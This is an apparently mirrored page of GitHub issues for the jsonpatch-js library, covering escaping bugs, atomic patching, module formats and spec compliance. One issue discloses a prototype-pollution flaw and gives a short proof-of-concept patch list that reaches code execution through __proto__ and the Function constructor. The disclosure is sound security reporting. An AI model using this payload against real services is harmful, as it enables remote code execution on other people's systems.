Giter Club home page Giter Club logo

jsonpatch-js's People

Contributors

bruth avatar olistic avatar risseraka avatar rmunson avatar sgentle avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

jsonpatch-js's Issues

Negative indices when adding to an array should insert relative to the end

I know this isn't in the JSON-PATCH spec, but it should be.

If you add to an array with a negative index that should be relative to the end of the array, just like in the standard Array splice method. Your current code would handle this already if you simply removed the if (acc < 0) expression in add.

How else do you inform a patch to just add to the end of an existing array?

Compile as a Common JS module

Hi,

my team and I would be interested to use this library for a CouchDB application prototype. CouchDb requires external libraries to support the Common JS format. Would it be possible to support it?

Thank you very much.

Not unescaping all '~1'

It seems it's not replacing all, only the first '~1'.

jsonpatch.apply({a : { b : {} }}, [{ op: "add", path: '/a/b/~1teste~1scaped', value: true}])
> { a: {b: { '/teste~1scaped': true }}}

Compatibility with proxy classes

I believe a common use case for jsonpatch would be to patch documents retrieved from a database. In Mongoose (http://mongoosejs.com/) such database documents are returned as models which act as a proxy class to the underlying document data (which allows for mongoose to keep track of document changes).

This however causes all path tests using hasOwnProperty() to fail (i.e. lines 146, 188, 199, 203 etc) since this method does not take into consideration inherited object attributes. Using the js keyword 'of' (coffeescript 'in') solves this problem and makes jsonpatch compatible with mongoose.

All tests pass and if you do not foresee any problems with this I'll create a pull request?

Prototype pollution / RCE vulnerability

The code is vulnerable to prototype pollution, because it allows patching __proto__. This can be escalated to remote code execution if user-supplied input is passed as the patch list:

p = require('json-patch') 


p.apply({},  [
    {
      "op": "copy",
      "from": "/constructor/constructor",
      "path": "/__proto__/makeFunc"
    },
    {
      "op": "add",
      "path": "/__proto__/op",
      "value": "makeFunc"
    }, 
]);


p.apply({},["console.log('rce')"]) // rce

In order to prevent this, I would adivse filtering out any changes to __proto__.

Do not correctly validate a JSON Patch document

At title says, with 0.4.x (tested with .0 & .1) it fails to validate properly the example document at the end (it don't throw an error).

https://www.npmjs.org/package/jsonpatch it does throw the error, though.

{
    "links": {
        "chains": "http://192.168.56.3:3000/api/services/nat/source/chains/{chains.name}"
    },
    "chains": [
        {
            "type": "source",
            "name": "ifall",
            "description": "",
            "id": "539503ac1d58f1da7c608b26"
        },
        {
            "type": "source",
            "name": "ifall2",
            "description": "",
            "id": "5395055ea3c2d260053d3bfe"
        },
        {
            "name": "ifall4",
            "description": "interfaces",
            "type": "source",
            "interfaces": {
                "out": "eth1"
            },
            "id": "5395098770a129630c1a6ead"
        },
        {
            "description": "",
            "name": "ifall3",
            "type": "source",
            "interfaces": "http://example.com/hamster.png",
            "id": "5395062967350b410a022838"
        }
    ],
    "meta": {
        "chains": {
            "total": 4,
            "limit": 10,
            "offset": 0
        }
    }
}

CamelCase naming for Javascript methods

jsonpatch.apply_patch should be renamed (OR aliased, to maintain backward-compatibility) to applyPatch. This would fit better with the majority of the JS ecosystem.

Generating JSON Patch Doc

Hi - thanks for building this. It's been really helpful in my initial implementation of PATCH to our applications.

Have you considered building a method that will return a proper patch document so that clients don't have to manually build it? I was thinking it would look something like:

jsonpatch.create(originalDoc, changedDoc); // outputs the patch doc

Or if you have other ideas or links to other libs that do this, that'd be welcomed.

This would be extremely helpful and close the loop on my implementation.

Does not correctly check if patch is an object

In the compile operation, when checking whether patch is an object or an array, it asks for "path" in place of "patch", resulting in the following error:

ReferenceError: Uncaught error: path is not defined

Unable to use as Node.js module

Hi,

The 'run everywhere boilerplate' isn't working for Node.js. My understanding is that Node.js is a CommonJS environment, although the boilerplate runs it as a 'direct script'.

A solution working for me is to add this before the other if cases:

if typeof module isnt 'undefined' and typeof exports isnt 'undefined'       
    # Node.js environment                                                   
    factory(exports)

But perhaps a better approach is: https://gist.github.com/1663811

Does not correctly apply "test" ops

Appendix A.14 of the spec specifies that the result of applying a "test" op should be the input JSON document, not a non-JSON raw Boolean.

However, as the README states and this lib behaves, if the last op in a JSONPatch document is a test, the result of require('json-patch').apply(ops, in) is a Boolean.

This script should succeed without error, but throws an AssertionError for the above reason.

var jsonPatch = require('json-patch');
var assert = require('chai').assert;

// Testing http://tools.ietf.org/html/rfc6902#appendix-A.14

var exampleTarget = {
  "/": 9,
  "~1": 10
};

var patch = [
  { "op": "test", "path": "/~01", "value": 10 }
];

var expectedResult = {
  "/": 9,
  "~1": 10
};

assert.deepEqual(jsonPatch.apply(exampleTarget, patch), expectedResult);

Need to unescape "~1" (to "/") before unescaping "~0" (to "~")

jsonpatch.js line 169:
steps[i] = decodeURIComponent(step).replace('0', '').replace('~1', '/');

This should instead end with:
.replace('~1', '/').replace('~0', '0');

Example:
JSON object { "/":9, "~1":10 }
The JSON pointer to the value 10 is "/~01".
If you incorrectly decode ~0 first you will end up pointing to value 9.

P.S. decodeURIComponent look wrong. If the JSON pointer is assumed to come from the fragment portion of a URI then decodeURIComponent should be applied BEFORE splitting the path on '/' characters.

PATCH request should be atomic

Per HTTP PATCH spec

 Note that the HTTP PATCH method is atomic, as per [RFC5789].
   Therefore, the following patch would result in no changes being made
   to the document at all (because the "test" operation results in an
   error):

   [
     { "op": "replace", "path": "/a/b/c", "value": 42 },
     { "op": "test", "path": "/a/b/c", "value": "C" }
   ]

Ref: http://tools.ietf.org/html/rfc6902#section-5

In other words, none of a patch's operations should be applied if any one of them fails.

> var obj = {};
undefined

> jsonpatch.apply(obj, [
  {op: 'add', path: '/foo', value: 'bar'}, 
  {op: 'remove', path: '/baz'}
]);
PatchConflictError: Value at baz does not exist // OK

> obj
{ foo: 'bar' }  // NOT OK

jsonpatch.apply should perhaps test every operations before applying them.

What do you think?

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.